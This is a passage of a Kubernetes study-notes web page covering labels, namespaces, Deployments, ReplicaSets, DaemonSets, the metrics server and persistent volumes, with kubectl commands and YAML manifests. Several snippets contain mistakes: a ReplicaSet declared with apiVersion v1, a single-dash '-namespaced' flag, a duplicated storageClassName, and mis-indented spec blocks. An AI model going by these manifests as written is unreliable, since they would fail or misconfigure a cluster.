<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">Labels</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#ae81ff">app:test</span>
</span></span></code></pre></div></li>
<li>
<p>view pods with a Label:</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl get pod -l app<span style="color:#f92672">=</span>test00 <span style="color:#75715e">#pods with app=test00 label </span>
</span></span><span style="display:flex;"><span>$ kubectl get pod -L app <span style="color:#75715e">#pods with app label </span>
</span></span></code></pre></div><ul>
<li>view labels of all pods</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get pods --show-labels
</span></span></code></pre></div><h2 id="namespace">Namespace</h2>
<p>Namespace is a virtual cluster. When you create a pod related to USSD product for example, it should be created in USSD namespace.</p>
<h3 id="context">Context</h3>
<p>When a user logs in to the namespace of a cluster, its called Context. Context is a user in the namespace of a cluster.</p>
<h3 id="namespace-commands">Namespace commands:</h3>
<ul>
<li>Create namespace:
<ul>
<li>Imperative: <code>$kubectl create ns test</code></li>
<li>Declarative:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create ns test2 --dry-run<span style="color:#f92672">=</span>client -o yaml &gt; test2.yaml $ kubectl create -f test2.yaml
</span></span></code></pre></div></li>
<li>List namespaces:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl get ns
</span></span></code></pre></div><ul>
<li>List all pods in all namespace:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl get pods --all-namespaces
</span></span></code></pre></div><ul>
<li>Start a Pod in a namespace:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl run nginx5 --image<span style="color:#f92672">=</span>nginx -n test
</span></span></code></pre></div><ul>
<li>List Pods in a namespace:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl get pod --namespace test 
</span></span><span style="display:flex;"><span>$ kubectl get pod -n test
</span></span></code></pre></div><ul>
<li>List all the resources that are not bound to a namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl api-resources -namespaced<span style="color:#f92672">=</span>false
</span></span></code></pre></div><ul>
<li>To change the context and namespace both</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl config set-context --current --namespace<span style="color:#f92672">=</span>kube-system
</span></span></code></pre></div><ul>
<li>NameSpace yaml file:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Namespace</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">ns</span>
</span></span></code></pre></div><h2 id="deployment">Deployment</h2>
<p>Deployment has benefits over pod:</p>
<ol>
<li><strong>Scale up &amp; down</strong>: with “replica” argument.
Two ways to make scale a deployment:
<ol>
<li>Imperative:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl scale deployment.v1.apps/my-deployment --replicas<span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>
</span></span></code></pre></div><ol start="2">
<li>Declarative: in the YAML file:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">5</span>
</span></span></code></pre></div></li>
<li><strong>Rolling Update &amp; RollBack</strong>: We have two Upgrade strategies:
<ol>
<li>Recreate (causes downtime)</li>
<li>Rolling update</li>
</ol>
<ul>
<li>Two ways to Upgrade a deployment:
<ol>
<li>Imperative:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl set image deployment &lt;dpName&gt; nginx<span style="color:#f92672">=</span>nginx:1.9.1
</span></span></code></pre></div><ol start="2">
<li>Declarative: in the YAML file:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#ae81ff">image:nginx:1.9.1</span>
</span></span></code></pre></div></li>
<li>Check history of deployments:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl rollout history deployment &lt;dpName&gt;
</span></span></code></pre></div><ul>
<li>Rollback to the previous deployment</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl rollout undo deployment test
</span></span></code></pre></div><ul>
<li>Rollback to a specific revision</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl rollout undo deployment test --to-revision<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span>
</span></span></code></pre></div><ul>
<li>Mark the nginx deployment as paused. Any current state of the deployment will continue its function, new updates to the deployment will not have an effect as long as the deployment is paused.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl rollout pause deployment/nginx
</span></span></code></pre></div><ul>
<li>Resume an already paused deployment</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl rollout resume deployment/nginx
</span></span></code></pre></div><ul>
<li>
<p>Max Surge: Deployment ensures that only a certain number of Pods are created above the desired number of Pods. By default, it ensures that at most 125% of the desired number of Pods are up (25% max surge).</p>
</li>
<li>
<p>Max Unavailable: Deployment ensures that only a certain number of Pods are down while they are being upated. By default, it ensures that at least 75% of the desired number of Pods are up (25% max unavailable).</p>
</li>
<li>
<p>Deployment yml file: (Note: Template is the config of a Pod inside a deployment.(it has its own labels, &hellip;))</p>
</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">apps/v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Deployment</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx-deployment</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">labels</span>:                 <span style="color:#75715e">#deployment label</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">app</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">selector</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">app</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">template</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">labels</span>:         <span style="color:#75715e">#container label</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">app</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx:1.14.2</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>                - <span style="color:#f92672">containerPort</span>: <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><ul>
<li>ReplicaSet yaml file (same as deployment yaml file):</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ReplicaSet</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">rs-example</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">3</span>             <span style="color:#75715e">#how many copies?</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">selector</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">app: nginx      #select pods with label: app:nginx &amp; env</span>: <span style="color:#ae81ff">prod</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">env</span>: <span style="color:#ae81ff">prod</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">template</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">&lt;pod template&gt;     </span> <span style="color:#75715e">#like yaml of pod. Image &amp; other info about pod</span>
</span></span></code></pre></div></li>
</ol>
<h2 id="daemonset">DaemonSet</h2>
<p>A DaemonSet makes sure that all of the Nodes in the Kubernetes Cluster run a copy of a Pod.</p>
<p>Some typical uses of a DaemonSet are:</p>
<ul>
<li>running a log collection daemon on every node</li>
<li>running a node monitoring daemon on every node</li>
</ul>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">You only can create daemonset in declarative mode.</div>
    </aside>
<p>DaemonSet yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">apps/v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">DaemonSet</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">my-daemonset</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">selector</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">app</span>: <span style="color:#ae81ff">my-daemonset</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">template</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">app</span>: <span style="color:#ae81ff">my-daemonset</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">image</span>: <span style="color:#ae81ff">nginx:1.19.1</span>
</span></span></code></pre></div><h2 id="metric-server">Metric Server</h2>
<p>In order to view metrics about the resources pods and containers are using, we need an add-on to collect and provide that data. such add-on is Kubernetes Metrics Server.</p>
<p>Installation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ vim metric.yaml
</span></span><span style="display:flex;"><span>$ kubectl apply -f metric.yaml
</span></span></code></pre></div><p>Commands:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl top pod &lt;podname&gt; --sort-by<span style="color:#f92672">=</span>cpu <span style="color:#75715e">#use --sort-by option to select resource </span>
</span></span><span style="display:flex;"><span>$ kubectl top pod &lt;&gt; --sort-by<span style="color:#f92672">=</span>cpu --all-namespaces <span style="color:#75715e">#see pods in all namespaces </span>
</span></span><span style="display:flex;"><span>$ kubectl top node --sort-by<span style="color:#f92672">=</span>memory <span style="color:#75715e">#see nodes resource usage</span>
</span></span><span style="display:flex;"><span>$ kubectl top pod &lt;&gt; --sort-by<span style="color:#f92672">=</span>cpu --selector name<span style="color:#f92672">=</span>app <span style="color:#75715e">#--selector to specify a label </span>
</span></span></code></pre></div><h2 id="volumes">Volumes</h2>
<p>Kubernetes Storage Requirements:</p>
<ul>
<li>Storage that doesn&rsquo;t depend on the pod lifecycle.</li>
<li>Storage must be available on all nodes.</li>
<li>Storage needs to survive even if cluster crashes!</li>
</ul>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Kubernetes doesn&rsquo;t care about your actual storage. It just gives you <strong>PV</strong> as an interface to your storage.</div>
    </aside>
<h3 id="persistent-volumepv">Persistent Volume(PV):</h3>
<p>A volume that its lifetime is about clusters lifetime and will not be destroyed after pod stops.</p>
<p>PV is connected to pod through PVC (Persistent Volume Claim). Note that PV is not namespaced.</p>
<p>PV yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">PersistentVolume</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">task-pv-volume</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">type</span>: <span style="color:#ae81ff">local</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">storageClassName</span>: <span style="color:#ae81ff">standard             </span> <span style="color:#75715e">#in case u have longhorn u can set it to longhorn </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">capacity</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">storage: 100Mi                      #capacity.storage</span>: <span style="color:#ae81ff">The total amount of available storage.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumeMode</span>: <span style="color:#ae81ff">Filesystem</span> <span style="color:#75715e">#The type of volume, this can be either Filesystem or Block.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">persistentVolumeReclaimPolicy</span>: <span style="color:#ae81ff">Retain  </span> <span style="color:#75715e">#The behaviour for PVC s that have been deleted. Options include:Retain=manual clean up,Delete=storage asset deleted by provider.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">storageClassName</span>: <span style="color:#ae81ff">slow                 </span> <span style="color:#75715e">#Optional name of the storage class that PVC s can reference. If provided, ONLY PVC s referencing the name consume use it.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">accessModes</span>:                            <span style="color:#75715e">#A list of the supported methods of accessing the volume. Options include:</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">ReadWriteOnce                    </span> <span style="color:#75715e">#RWO means only a single pod will be able to (through a PVC) mount this. ROM means volume is Read-Only by many pods. RWM means, well, many pods can mount and write.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">mountOptions</span>:                           <span style="color:#75715e">#Optional mount options for the PV.</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">hard</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">nfsvers=4.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">hostPath</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">path</span>: <span style="color:#e6db74">&#34;/mnt/&#34;</span>
</span></span></code></pre></div><p>PVC yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">PersistentVolumeClaim </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">pv-volume</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">storageClassName</span>: <span style="color:#ae81ff">standard</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">resources</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">requests</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">storage: 10Mi                  #resources.requests.storage </span>: <span style="color:#ae81ff">The desired amount of storage for the claim (can be &lt;= capacity of PV) </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">accessModes</span>:                            <span style="color:#75715e">#This MUST be a subset of what is defined on the target PV or Storage Class.</span>
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">ReadWriteOnce</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumeMode</span>: <span style="color:#ae81ff">Filesystem</span>
</span></span></code></pre></div>
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><p>Note: <strong>PVs and PVCs with Selectors</strong> : The PV is using the hostPath volume type, and thus they have a label of type: hostpath. The PVC is looking for 1 Gi of storage and is looking for a PV with a label of type: hostpath.</p>
<p>They will match and bind because the labels match, the access modes match, and the PVC storage capacity is &lt;= PV storage capacity.</p>
</div>
    </aside>
<p>PV, PVC &amp; Pod yaml:</p>
<p>Note that to define volume in a pod u have to</p>
<ol>
<li>Define volumes on pod level ( <strong>volumes:</strong> ). It is in the form of <strong>Name+Type</strong></li>
<li>Mount volume into container( <strong>volumeMounts:</strong> )</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">apps/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Deployment </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">my-db </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">app</span>: <span style="color:#ae81ff">my-db</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">replicas</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">selector</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">matchLabels</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">app</span>: <span style="color:#ae81ff">my-db</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">template</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">labels</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">app</span>: <span style="color:#ae81ff">my-db</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">containers</span>: 
</span></span><span style="display:flex;"><span>                - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysql </span>
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">image</span>: <span style="color:#ae81ff">mysql:8.0 </span>
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">volumeMounts</span>:
</span></span><span style="display:flex;"><span>                    - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">db-data</span>
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">mountPath</span>: <span style="color:#e6db74">&#34;/var/lib/mysql&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>            - <span style="color:#f92672">name</span>: <span style="color:#ae81ff">db-data</span>
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">persistentVolumeClaim</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">claimName</span>: <span style="color:#ae81ff">mysql-data-pvc</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">PersistentVolume</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">data-pv</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">hostPath</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">path</span>: <span style="color:#e6db74">&#34;/mnt/data&#34;</span> 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">capacity</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">storage</span>: <span style="color:#ae81ff">10Gi </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">accessModes</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">ReadWriteMany</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">PersistentVolumeClaim</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">mysql-data-pvc</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">resources</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">requests</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">storage</span>: <span style="color:#ae81ff">5Gi</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">accessModes</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#ae81ff">ReadWriteMany</span>
</span></span></code></pre></div><p>Common Types of volumes: Ephemeral, Persistent Volume(PV), Emptydir, hostPath, StorageClass</p>
<table>
  <thead>
      <tr>
          <th>TYPE OF VOLUME</th>
          <th>LIFETIME</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>VOLUME(EPHEMERAL VOLUME)</td>
          <td>Pod lifetime</td>
      </tr>
      <tr>
          <td>PV</td>
          <td>Cluster lifetime</td>
      </tr>
      <tr>
          <td>CONTAINER FILE SYSTEM</td>
          <td>Container lifetime</td>
      </tr>
  </tbody>
</table>
<p>Ephemeral Volume: for apps that need storages that is not important after restart. E.g: <em>cache server</em></p>
<p>Types of Ephemeral Volumes: emptydir, configMap, Secret
Advantage: pods can restart or stop without dependency to storage.</p>
<h3 id="emptydir">EmptyDir:</h3>
<p>In pod yaml file, spec.volumeMounts is about containers spec, and spec.volumes is about pod spec.</p>
<p>We specify types of volumes (emptyDir, hostPath,&hellip;) in spec.volume.</p>
<p>EmptyDir yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">test-pd</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">containers</span>:
</span></span><span style="display:flex;"><span>        - <span style="color:#f92672">image</span>: <span style="color:#ae81ff">registry.k8s.io/test-webserver </span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">name</span>: <span style="color:#ae81ff">test-container</span>
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">volumeMounts</span>:                         <span style="color:#75715e">#volumeMount is about container &amp; u can see its under spec.container </span>
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">mountPath</span>: <span style="color:#ae81ff">/cache                  </span> <span style="color:#75715e">#path of volume in containers of the pod </span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">name</span>: <span style="color:#ae81ff">cache-volume</span>
